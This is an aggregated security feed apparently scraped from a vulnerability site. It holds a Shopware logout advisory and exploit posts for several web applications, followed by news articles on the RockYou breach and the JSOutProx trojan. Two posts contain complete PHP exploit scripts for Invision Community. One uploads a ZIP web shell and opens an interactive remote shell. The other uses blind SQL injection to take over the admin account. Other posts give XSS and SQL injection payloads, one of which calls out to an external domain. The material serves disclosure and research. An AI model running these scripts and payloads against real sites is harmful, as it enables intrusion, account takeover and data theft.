### Impact

When a authentificated request is made to `POST /store-api/account/logout`, the cart will be cleared, but the User won't be logged out. This affects only the direct store-api usage, as the PHP Storefront listens additionally on `CustomerLogoutEvent` and invalidates the session additionally. 

### Patches
The problem has been fixed with Shopware 6.6.1.0 and 6.5.8.8.

### Workarounds
When you are not able to update, you can install the latest version of the Shopware Security Plugin.


1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-31447

**Shopware Improper Session Handling in store-api account logout**

Moderate severity GitHub Reviewed Published Apr 8, 2024 in shopware/shopware • Updated Apr 8, 2024

**Package**

composer shopware/core (Composer)

**Affected versions**

\>= 6.3.5.0, < 6.5.8.8

\>= 6.6.0.0-rc1, < 6.6.1.0

**Patched versions**

6.5.8.8

6.6.1.0

\>= 6.3.5.0, < 6.5.8.8

\>= 6.6.0.0-rc1, < 6.6.1.0

**Impact**

When a authentificated request is made to POST /store-api/account/logout, the cart will be cleared, but the User won't be logged out. This affects only the direct store-api usage, as the PHP Storefront listens additionally on CustomerLogoutEvent and invalidates the session additionally.

**Patches**

The problem has been fixed with Shopware 6.6.1.0 and 6.5.8.8.

**Workarounds**

When you are not able to update, you can install the latest version of the Shopware Security Plugin.

**References**

*   GHSA-5297-wrrp-rcj7
*   shopware/shopware@5cc84dd
*   shopware/shopware@d29775a

Published to the GitHub Advisory Database

Apr 8, 2024

GHSA-5297-wrrp-rcj7: Shopware Improper Session Handling in store-api account logout

Invision Community versions 4.7.16 and below suffer from a remote code execution vulnerability in toolbar.php.

    ------------------------------------------------------------------------------Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability------------------------------------------------------------------------------[-] Software Link:https://invisioncommunity.com[-] Affected Versions:Version 4.7.16 and prior versions.[-] Vulnerability Description:The vulnerability is located in the/applications/core/modules/admin/editor/toolbar.php script.Specifically, into theIPS\core\modules\admin\editor\_toolbar::addPlugin() method, which willhandlethe upload of a ZIP file, trying to extract its content into the/applications/core/interface/ckeditor/ckeditor/plugins/ directory; ifthe ZIP archive does not includea plugin.js file, then the extracted ZIP content will be recursivelydeleted from the file system,otherwise it will stay there. This can be exploited to executearbitrary PHP code by uploading aZIP archive containing a plugin.js file (which can also be empty)along with a PHP file. Successfulexploitation of this vulnerability requires an Administrator accounthaving the "toolbar_manage" permission.[-] Proof of Concept:https://karmainsecurity.com/pocs/CVE-2024-30162.php[-] Solution:No official solution is currently available.[-] Disclosure Timeline:[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure[12/03/2024] - Version 4.7.16 released, but the issue is still not fixed[20/03/2024] - CVE identifier requested[24/03/2024] - CVE identifier assigned[05/04/2024] - Coordinated public disclosure[-] CVE Reference:The Common Vulnerabilities and Exposures project (cve.mitre.org)has assigned the name CVE-2024-30162 to this vulnerability.[-] Credits:Vulnerability discovered by Egidio Romano.[-] Other References:https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/[-] Original Advisory:http://karmainsecurity.com/KIS-2024-03-----------------------PoC:<?php/*    ------------------------------------------------------------------------------    Invision Community <= 4.7.16 (toolbar.php) Remote Code Execution Vulnerability    ------------------------------------------------------------------------------    author..............: Egidio Romano aka EgiX    mail................: n0b0d13s[at]gmail[dot]com    software link.......: https://invisioncommunity.com    +-------------------------------------------------------------------------+    | This proof of concept code was written for educational purpose only.    |    | Use it at your own risk. Author will be not responsible for any damage. |    +-------------------------------------------------------------------------+    [-] Vulnerability Description:    The vulnerability is located in the /applications/core/modules/admin/editor/toolbar.php script.    Specifically, into the IPS\core\modules\admin\editor\_toolbar::addPlugin() method, which will    handle the upload of a ZIP file, trying to extract its content into the    /applications/core/interface/ckeditor/ckeditor/plugins/ directory; if the ZIP archive does    not include a plugin.js file, then the extracted ZIP content will be recursively deleted    from the file system, otherwise it will stay there. This can be exploited to execute    arbitrary PHP code by uploading a ZIP archive containing a plugin.js file (which can    also be empty) along with a PHP file. Successful exploitation of this vulnerability    requires an Administrator account having the "toolbar_manage" permission.    [-] Original Advisory:    https://karmainsecurity.com/KIS-2024-03*/set_time_limit(0);error_reporting(E_ERROR);if (!extension_loaded("curl")) die("[-] cURL extension required!\n");if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Email> <Password>\n\n");$url = $argv[1];$email = $argv[2];$passwd = $argv[3];$ch = curl_init();@unlink('./cookies.txt');curl_setopt($ch, CURLOPT_HEADER, true);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');print "[+] Logging into AdminCP\n";curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=system&controller=login");curl_setopt($ch, CURLOPT_POST, false);if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");curl_setopt($ch, CURLOPT_POSTFIELDS, "csrfKey={$csrf[1]}&auth=".urlencode($email)."&password={$passwd}&_processLogin=usernamepassword");if (!preg_match("/303 See Other/i", curl_exec($ch))) die("[-] Login failed!\n");print "[+] Uploading malicious ZIP file\n";curl_setopt($ch, CURLOPT_URL, "{$url}admin/?app=core&module=editor&controller=toolbar&do=addPlugin");curl_setopt($ch, CURLOPT_POST, false);if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");$plg = md5(time()).".zip";@file_put_contents("rce.zip", base64_decode("UEsDBAoDAAAAADxvKFgecSjnMgAAADIAAAAJAAAAaW5kZXgucGhwPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VSVkVSWydIVFRQX0MnXSkpOyA/PgpQSwMECgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAAABwbHVnaW4uanNQSwECPwMKAwAAAAA8byhYHnEo5zIAAAAyAAAACQAkAAAAAAAAACCAtIEAAAAAaW5kZXgucGhwCgAgAAAAAAABABgAgMvlSzJC2gGAy+VLMkLaAYDL5UsyQtoBUEsBAj8DCgMAAAAAQG8oWAAAAAAAAAAAAAAAAAkAJAAAAAAAAAAggLSBWQAAAHBsdWdpbi5qcwoAIAAAAAAAAQAYAAC84E4yQtoBALzgTjJC2gEAvOBOMkLaAVBLBQYAAAAAAgACALYAAACAAAAAAAA="));$params = ["csrfKey" => $csrf[1], "form_submitted" => 1, "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg)];curl_setopt($ch, CURLOPT_POSTFIELDS, $params);if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Upload failed!\n");print "[+] Launching shell\n";curl_setopt($ch, CURLOPT_URL, "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/");curl_setopt($ch, CURLOPT_POST, false);$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";while(1){  print "\ninvision-shell# ";  if (($cmd = trim(fgets(STDIN))) == "exit") break;  curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode(sprintf($phpcode, base64_encode($cmd)))]);  preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");}

Invision Community 4.7.16 Remote Code Execution

Invision Community versions 4.4.0 through 4.7.15 suffer from a remote SQL injection vulnerability in store.php.

--------------------------------------------------------------------  
Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
--------------------------------------------------------------------

[-] Software Link:

https://invisioncommunity.com

[-] Affected Versions:

All versions from 4.4.0 to 4.7.15.

[-] Vulnerability Description:

The vulnerability is located in the  
/applications/nexus/modules/front/store/store.php script.  
Specifically, into the  
IPS\nexus\modules\front\store\_store::_categoryView() method:

126 /* Apply Filters */  
127 if ( isset( \IPS\Request::i()->filter ) and \is_array(  
\IPS\Request::i()->filter ) )  
128 {  
129 $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );  
130 foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )  
131 {  
132 $where[] = array( \IPS\Db::i()->findInSet(  
"filter{$filterId}.pfm_values", array_map( 'intval', explode( ',',  
$allowedValues ) ) ) );  
133 $joins[] = array( 'table' => array( 'nexus_package_filters_map',  
"filter{$filterId}" ), 'on' => array(  
"filter{$filterId}.pfm_package=p_id AND  
filter{$filterId}.pfm_filter=?", $filterId ) );  
134 }  
135 }

User input passed through the "filter" request parameter is not  
properly sanitized before being  
assigned to the $where and $joins variables (lines 132 and 133), which  
are later used to execute  
some SQL queries. This can be exploited by unauthenticated attackers  
to carry out time-based or  
error-based Blind SQL Injection attacks. Subsequently, this might also  
be exploited to reset  
users' passwords and gain unauthorized access to the AdminCP, in order  
to achieve  
Remote Code Execution (RCE). Successful exploitation of this  
vulnerability requires  
the nexus application to be installed and configured with one "Product  
Group" at least.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2024-30163.php

[-] Solution:

Upgrade to version 4.7.16 or later.

[-] Disclosure Timeline:

[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure  
[12/03/2024] - Version 4.7.16 released  
[20/03/2024] - CVE identifier requested  
[24/03/2024] - CVE identifier assigned  
[05/04/2024] - Coordinated public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2024-30163 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Other References:

https://invisioncommunity.com/release-notes/4716-r128/  
https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/

[-] Original Advisory:

http://karmainsecurity.com/KIS-2024-02

-----------------------  
PoC:

<?php

/*  
    --------------------------------------------------------------------  
    Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
    --------------------------------------------------------------------

    author..............: Egidio Romano aka EgiX  
    mail................: n0b0d13s[at]gmail[dot]com  
    software link.......: https://invisioncommunity.com

    +-------------------------------------------------------------------------+  
    | This proof of concept code was written for educational purpose only.    |  
    | Use it at your own risk. Author will be not responsible for any damage. |  
    +-------------------------------------------------------------------------+

    [-] Vulnerability Description:

    The vulnerability is located in the /applications/nexus/modules/front/store/store.php script.  
    Specifically, into the IPS\nexus\modules\front\store\_store::_categoryView() method: user  
    input passed through the "filter" request parameter is not properly sanitized before being  
    assigned to the $where and $joins variables, which are later used to execute some SQL  
    queries. This can be exploited by unauthenticated attackers to carry out time-based  
    or error-based SQL Injection attacks.

    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2024-02  
*/

set_time_limit(0);  
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

$url = $argv[1];  
$ch  = curl_init();  
$sec = 3; // number of seconds for SLEEP(): less seconds, less accurate

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)  
{  
  global $ch, $sec;

  $min = true;  
  $idx = 1;

  while(1)  
  {  
    $test = 256;

    for ($i = 7; $i >= 0; $i--)  
    {  
      $test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));  
      $injection = "` ON 1 UNION SELECT IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},1,SLEEP({$sec})) OR ?=?#";  
      curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf("cat=1&filter[%s]=1", rawurlencode($injection)));  
      $start = time(); curl_exec($ch); $secs = time() - $start;  
      $min = ($secs < $sec);  
    }

    if (($chr = $min ? ($test - 1) : ($test)) == 0) break;  
    $data .= chr($chr); $min = true; $idx++;  
    print "\r[*] Data: {$data}";  
  }

  return $data;  
}

print "[+] Step 1: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 2: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 3: fetching the password reset key\n";

$vid = sql_injection("SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1");

print "\n[+] Step 4: taking over the admin account by resetting their password\n";

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");  
curl_setopt($ch, CURLOPT_POST, false);  
curl_setopt($ch, CURLOPT_HEADER, true);  
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');  
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

$passwd = md5(time());  
$params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Attack failed!\n");

print "[+] Done! You can log into the AdminCP with {$email}:{$passwd}\n";

Invision Community 4.7.15 SQL Injection

Open eShop version 2.7.0 suffers from a cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: Open eShop Version : 2.7.0  - Reflected XSS# Exploit Author: tmrswrr # Vendor Homepage: http://www.open-eshop.com/# Version : 2.7.0# Date : 04/08/20241 ) Go to home page https://127.0.0.1/Open_eShop2 ) Write url this payload : test.html"><img src=x onerrora=confirm() onerror=confirm(1)>3 ) After save it you will be see xss alerthttps://127.0.0.1/Open_eShop/test.html"><img src=x onerrora=confirm() onerror=confirm(1)>

Open eShop 2.7.0 Cross Site Scripting

HTMLy version 2.9.6 suffers from a persistent cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: HTMLy Version : 2.9.6  - Stored XSS# Exploit Author: tmrswrr # Vendor Homepage: https://www.htmly.com/# Version 3.10.8.21 # Date : 04/08/20241 ) Login admin https://127.0.0.1/HTMLy/admin/config2 ) General Setting > Blog title >  "><img src=x onerrora=confirm() onerror=confirm(1)> 3 ) After save it you will be see xss alert

HTMLy 2.9.6 Cross Site Scripting

UP-RESULT version 0.1 2024 suffers from a remote SQL injection vulnerability.

    ## Title: upresult_0.1-2024 Multiple-SQLi## Author: nu11secur1ty## Date: 04/08/2024## Vendor: https://www.mayurik.com/## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download## Reference: https://portswigger.net/web-security/sql-injection## Description:The nid parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'was submitted in the nid parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.The attacker can get all information from the system by using thisvulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: nid (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU    Type: stacked queries    Title: MySQL >= 5.0.12 stacked queries (comment)    Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR    Type: UNION query    Title: MySQL UNION query (NULL) - 4 columns    Payload: nid=145448807' or '1766'='1766' UNION ALL SELECTNULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2024/upresult_0.1-2024)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/04/upresult01-2024-multiple-sqli.html)## Time spent:00:15:00

UP-RESULT 0.1 2024 SQL Injection

Trojan.Win32.Razy.abc malware suffers from an insecure permissions vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/0eb4a9089d3f7cf431d6547db3b9484d.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Trojan.Win32.Razy.abcVulnerability: Insecure Permissions (In memory IPC)Family: RazyType: PE32MD5: 0eb4a9089d3f7cf431d6547db3b9484dSHA256: 3d82fee314e7febb8307ccf8a7396b6dd53c7d979a74aa56f3c4a6d0702fd098 Vuln ID: MVID-2024-0678Dropped files: performer.exeDisclosure: 04/07/2024Description:  The trojan installs a service under "C:\Program Files (x86)\SmartData" and runs with SYSTEM integrity. Terminating the malware service would typically require high integrity user privileges. However, standard low integrity users can successfully terminate it by exploiting insecure Win32 in memory event objects "esnm" or "epp". Since no permissions are set on these IPC objects a low integrity user can set the DACL to deny access for the everyone user group, then set and reset the event to cause the malware to terminate. Interestingly, I used same technique to defeat RSA's EDR agent "netwitness" CVE-2022-47529.PE file "performer.exe" is ran using rundll32 RunHTMLApplication.Win32 API Event objects.performer.exe creates Event  \BaseNamedObjects\epp  ===> with no permissions setsvchost_ms.exe creates Event \BaseNamedObjects\esnm   ===> with no permissions setExploit/PoC:"Trojan_Razy_Exploit.c"#include "windows.h"#include "stdio.h"#include "accctrl.h"#include "aclapi.h"#define OPEN_ALL_ACCESS 0x1F0003/*John Page (aka hyp3rlinx) - circa April of 2024 Malvuln projectIncorrect in-memory Win32 API access control allows termination of the malware service by a standard user.Trojan.Win32.Razy.abcMD5: 0eb4a9089d3f7cf431d6547db3b9484d*/char Vuln_Events[][32] = {"Global\\esnm", "Global\\epp"};BOOL PWNED=FALSE;int main(void){    PACL pOldDACL = NULL;  PACL pNewDACL = NULL;  int i=0;    for(; i < sizeof(Vuln_Events) /  sizeof(Vuln_Events[0]); i++){    HANDLE hEvent = OpenEventA(OPEN_ALL_ACCESS,FALSE,(LPCSTR)Vuln_Events[i]);    if (hEvent != INVALID_HANDLE_VALUE){   if(!PWNED){       printf("[+] Exploiting Trojan Razy Event: %s\n", Vuln_Events[i]);   }    if(GetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) == ERROR_SUCCESS){    TRUSTEE trustee[1];    trustee[0].TrusteeForm = TRUSTEE_IS_NAME;    trustee[0].TrusteeType = TRUSTEE_IS_GROUP;    trustee[0].ptstrName = TEXT("Everyone");     trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;    trustee[0].pMultipleTrustee = NULL;    EXPLICIT_ACCESS explicit_access_list[1];    ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));    explicit_access_list[0].grfAccessMode = DENY_ACCESS;     explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;    explicit_access_list[0].grfInheritance = NO_INHERITANCE;    explicit_access_list[0].Trustee = trustee[0];        if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){       printf("%d", GetLastError());    }          if(SetSecurityInfo(hEvent, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){                   printf("%d", GetLastError());        }else{        PWNED=TRUE;        SetEvent(hEvent);        Sleep(1000);        ResetEvent(hEvent);        CloseHandle(hEvent);        Sleep(1000);      }    LocalFree(pNewDACL);    LocalFree(pOldDACL);    CloseHandle(hEvent);    Sleep(1000);   } }  }if(PWNED){  printf("[+] Trojan.Win32.Razy.abc / MD5: 0eb4a9089d3f7cf431d6547db3b9484d PWNED!\n");  PWNED=FALSE;}printf("[+] By malvuln... Done!\n");system("pause");return 666;}Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Trojan.Win32.Razy.abc MVID-2024-0678 Insecure Permissions

AnyDesk version 7.0.15 suffers from an unquoted service path vulnerability.

    # Exploit Title: AnyDesk 7.0.15 - Unquoted Service Path PrivilegeEscalation# Date: 2024-04-01# Exploit Author: Milad Karimi (Ex3ptionaL)# Contact: miladgrayhat@gmail.com# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# Vendor Homepage: http://anydesk.com# Software Link: http://anydesk.com/download# Version: Software Version 7.0.15# Tested on: Windows 10 Pro x641. Description:The Anydesk installs as a service with an unquoted service path runningwith SYSTEM privileges.This could potentially allow an authorized but non-privileged localuser to execute arbitrary code with elevated privileges on the system.2. ProofC:\>sc qc anydesk[SC] QueryServiceConfig SUCCESSSERVICE_NAME: anydesk        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe"--service        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : AnyDesk Service        DEPENDENCIES       : RpcSs        SERVICE_START_NAME : LocalSystemC:\>systeminfoOS Name:  Microsoft Windows 10 ProOS Version: 10.0.19045 N/A Build 19045OS Manufacturer: Microsoft Corporation

AnyDesk 7.0.15 Unquoted Service Path

By Daily Contributors
Today over at Resonance Security I am going to look at one of the more unusual ways in…
This is a post from HackRead.com Read the original post: The Legacy of a Security Breach

This article was authored and contributed by Keir Finlow-Bates, a passionate blockchain enthusiast and technologist.

Today over at Resonance Security I am going to look at one of the more unusual ways in which your approach to computer security can lead to an increase in public awareness of your company.

There are many motivations for starting a company: becoming wealthy, doing something interesting and useful, and leaving some kind of legacy or mark on history are three of the main ones that spring to mind.

About that legacy: imagine having the name of your corporation attached to a file representing one of the most significant hacks of the 21st century!

That’s quite notable, but probably not what the founders of one particular company were looking for with their startup.

****We won’t rock you****

In the middle of the 2000s, RockYou, Inc. was doing well as a widget-maker for social media companies like MySpace and Facebook. However, back in 2009, it suffered a data breach in which a hacker discovered an SQL database server with an unpatched ten-year-old bug, the database containing over 32 million usernames and passwords for user accounts.

That’s right — 32 million usernames, and their associated passwords. For comparison, that’s about 10% of the active monthly users that Facebook had at the time.

The passwords were stored in plain text.

****Mud on your face, big disgrace****

Not only did RockYou initially fail to notify their users, but it subsequently released a falsified official statement claiming that the breach was less severe than it was.

To be clear: it was a very, very serious breach.

A decade and a half ago, people were far worse at password security than they are now. Password managers were almost unheard of, for some unexplained bizarre reason some sites blocked the use of password managers for unspecified “security reasons”, and two-factor authentication was pretty much only affordable and available to business users.

Because people were told not to write down their passwords, this meant that most of the leaked credentials were being used on other websites. After all, who in their right mind is going to memorize twenty or thirty different random passwords? As a result, sites such as banks, online stores, health databases, social media, supposedly private online journals, and online games held accounts using the same passwords.

****The legacy****

For years the full list of RockYou passwords has been available to download by anyone. It is typically found in a file called rockyou.txt , and there are plenty of GitHub repositories out there where you can find it.

In Kali Linux, a Linux distribution designed and produced specifically for penetration testing, the RockYou text file is included during the installation by default.

****Conclusion****

Just imagine — with a little bit of security carelessness, you too can take your modestly successful company and in the process of destroying it, allow its name to live on forever.

Have we learned anything since 2009? Not always.

For example: in 2017 it was revealed that an old social media site called LiveJournal, dating back to the 90s (but still running to this day), suffered a breach in which 26 million unique usernames, email addresses, and plaintext passwords were extracted. It took them until 2019 to admit to the breach.

That’s right — passwords were still being stored in plaintext in 2017, and I would bet good money on there being more sites out are doing the same, even though we are a decade and a half on from the original RockYou breach.

I predict that the leakage of passwords will only end once we stop using passwords, and start using improved systems such as security keys and self-managed identity for our authentication systems.

In the meantime, you have to assume that any password you provide to a website will eventually be leaked, therefore:

*   use a password manager to generate long, random, unique passwords for your accounts,
*   protect access to the password manager with two-factor authentication, and
*   make sure the password you use for your password manager has never been used anywhere else.

****Post-script****

Don’t run off and look for a website that allows you to enter your password and see if it was ever revealed in a breach! I can guarantee it will be a phishing site. Instead, I recommend HaveIBeenPwned, where you can type in your email address, and retrieve a list of the companies and websites that have managed to leak your credentials to the dark web through bad security practices. Another option is the Resonance Data Leak Detector, which monitors if your credentials have been leaked 24/7 and automatically notifies you.

****About Resonance Security****

Resonance Security is a curated platform for end-to-end cybersecurity products and services. It functions as a concierge for your organization’s end-to-end cyber-security needs, aggregating valuable security offerings into one platform to spread awareness on what it takes to secure your technology stack end-to-end.

I’m Keir Finlow-Bates, often known as Blockchain Gandalf, and am primarily a blockchain researcher and inventor. I started on this journey in late 2010 by examining the original Bitcoin code, and have been obsessed with blockchain ever since.

I am also the author of two books on the topic: Move Over Brokers Here Comes The Blockchain, explaining blockchain, and Evil Tokenomics, illustrating through practical examples how web3 scams work. You can find more at my website: Thinklair.com

1.  The Forgotten Victims of Data Breach
2.  Solving the Cyber Security Problem: Mission Impossible
3.  Will good prevail over bad as bots battle for the internet?
4.  If a Cyber Security Report Falls in a Forest, Is Anyone Listening?

The Legacy of a Security Breach

An ongoing cyberattack campaign with apparent ties to China uses a new version of sophisticated JavaScript remote access Trojan JSOutProx and is now targeting banks in the Middle East.

Source: Irina Shi via Shutterstock

The sophisticated threat group behind a complex JavaScript remote access Trojan (RAT) known as JSOutProx has released a new version of the malware to target organizations in the Middle East.

Cybersecurity services firm Resecurity analyzed technical details of multiple incidents involving the JSOutProx malware targeting financial customers and delivering either a fake SWIFT payment notification if targeting an enterprise, or a MoneyGram template when targeting private citizens, the company wrote in a report published this week. The threat group has targeted government organizations in India and Taiwan, as well as financial organizations in the Philippines, Laos, Singapore, Malaysia, India — and now Saudi Arabia.

The newest version of JSOutProx is a very flexible and well-organized program from a development perspective, allowing the attackers to tailor is functionality for the victim's specific environment, says Gene Yoo, CEO of Resecurity.

"It's a malware implant with multiple stages, and it has multiple plug-ins," he says. "Depending on the victim's environment, it goes right in and then actually bleeds them or poisons the environment, depending on what plug-ins are enabled."

The attacks are the latest campaign by a cybercriminal group known as Solar Spider, which appears to be the only group using the JSOutProx malware. Based on the group's targets — typically organizations in India, but also in the Asia-Pacific, Africa, and Middle East regions — it's likely linked to China, Resecurity stated in its analysis.

"By profiling the targets, and some of the details that we obtained in the infrastructure, we suspect that it's related to China," Yoo says.

**"Highly Obfuscated ... Modular Plug-in"**

JSOutProx is well known in the financial industry. Visa, for example, documented campaigns using the attack tool in 2023, including one pointed at several banks in the Asia-Pacific region, the company stated in its Biannual Threats Report published in December.

The remote access Trojan (RAT) is a "highly obfuscated JavaScript backdoor, which has modular plugin capabilities, can run shell commands, download, upload, and execute files, manipulate the file system, establish persistence, take screenshots, and manipulate keyboard and mouse events," Visa stated in its report. "These unique features allow the malware to evade detection by security systems and obtain a variety of sensitive payment and financial information from targeted financial institutions.

JSOutProx typically appears as a PDF file of a financial document in a zip archive. But really, it's JavaScript that executes when a victim opens the file. The first stage of the attack collects information on the system and communicates with command-and-control servers obfuscated via dynamic DNS. The second stage of the attack downloads any of some 14 plug-ins to conduct further attacks, including gaining access to Outlook and the user's contact list, and enabling or disabling proxies on the system.

The RAT downloads plugins from GitHub — or more recently, GitLab — to appear legitimate.

"The discovery of the new version of JSOutProx, coupled with the exploitation of platforms like GitHub and GitLab, emphasizes these malicious actors’ relentless efforts and sophisticated consistency," Resecurity said in its analysis.

**Monetizing Data From Middle East Financials**

Once Solar Spider compromises a user, the attackers collect information, such as primary account numbers and user credentials, and then conduct a variety of malicious actions against the victim, according to Visa's threat report.

"The JSOutProx malware poses a serious threat to financial institutions around the world, and especially those in the AP region as those entities have been more frequently targeted with this malware," the Visa report stated.

Companies should educate employees about how to handle unsolicited, suspicious correspondence to mitigate the threat of the malware, Visa stated. In addition, any instance of the malware must be investigated and completely remediated to prevent reinfection.

Bigger companies and government agencies are more likely to be attacked by the group because Solar Spider has its sights on the most successful firms, Resecurity's Yoo says. For the most part, however, companies don't have to take threat-specific steps but instead focus on defense-in-depth strategies, he says.

"The user should focus on not looking at the shiny object in the sky, like the Chinese are attacking, but on what they need to do is create a better foundation," Yoo says. "Having good patching, network segmentation, and vulnerability management. If you do that, then none of this would" likely impact your users.

**About the Author(s)**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Tag

#auth